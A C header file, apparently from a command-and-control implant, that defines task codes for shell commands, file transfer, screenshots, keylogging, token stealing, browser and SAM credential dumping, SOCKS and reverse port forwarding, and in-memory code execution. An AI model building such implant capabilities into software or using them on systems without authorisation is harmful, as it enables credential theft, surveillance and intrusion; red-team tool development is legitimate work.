#pragma once

#ifndef COMMANDOS
#define COMMANDOS

#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#include "SistemadeFicheros.h"
#include "screenshot.h"
#include "keylog.h"
#include "tokens.h"
#include "rpfwd_manager.h"
#include "browser_info.h"
#include "browser_dump.h"
#include "samdump.h"
#include "inline_execute.h"

#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1

#define NUMBER_OF_TASKS 1

#define EXIT_CMD        0x80
#define SLEEP_CMD       0x38
#define PROCESS_CMD     0x15

#define CD_CMD          0x20
#define LS_CMD          0x21
#define PWD_CMD         0x22
#define CP_CMD          0x23
#define MKDIR_CMD       0x24
#define RM_CMD          0x25
#define CAT_CMD         0x26
#define DOWNLOAD_CMD    0x27
#define UPLOAD_CMD      0x28
#define SCREENSHOT_CMD  0x29
#define KEYLOG_START_CMD 0x30
#define KEYLOG_STOP_CMD  0x31

/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
#define STOP_SOCKS_CMD  0x61

/* Reverse Port Forward commands */
#define START_RPFWD_CMD 0x62
#define STOP_RPFWD_CMD  0x63

/* Token commands */
#define LIST_TOKENS_CMD   0x32
#define STEAL_TOKEN_CMD   0x33
#define MAKE_TOKEN_CMD    0x34
#define REV2SELF_CMD      0x35
#define WHOAMI_CMD        0x36
#define KILL_CMD          0x37

/* Browser information command */
#define BROWSER_INFO_CMD  0x40

/* Browser dump command */
#define BROWSER_DUMP_CMD  0x41

/* SAM dump command */
#define SAMDUMP_CMD  0x42

/* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD        0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71

/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
/* Extension marker to carry RPFWD array in binary messages */
#define RPFWD_BLOCK_MARKER 0xF2

BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();

#endif
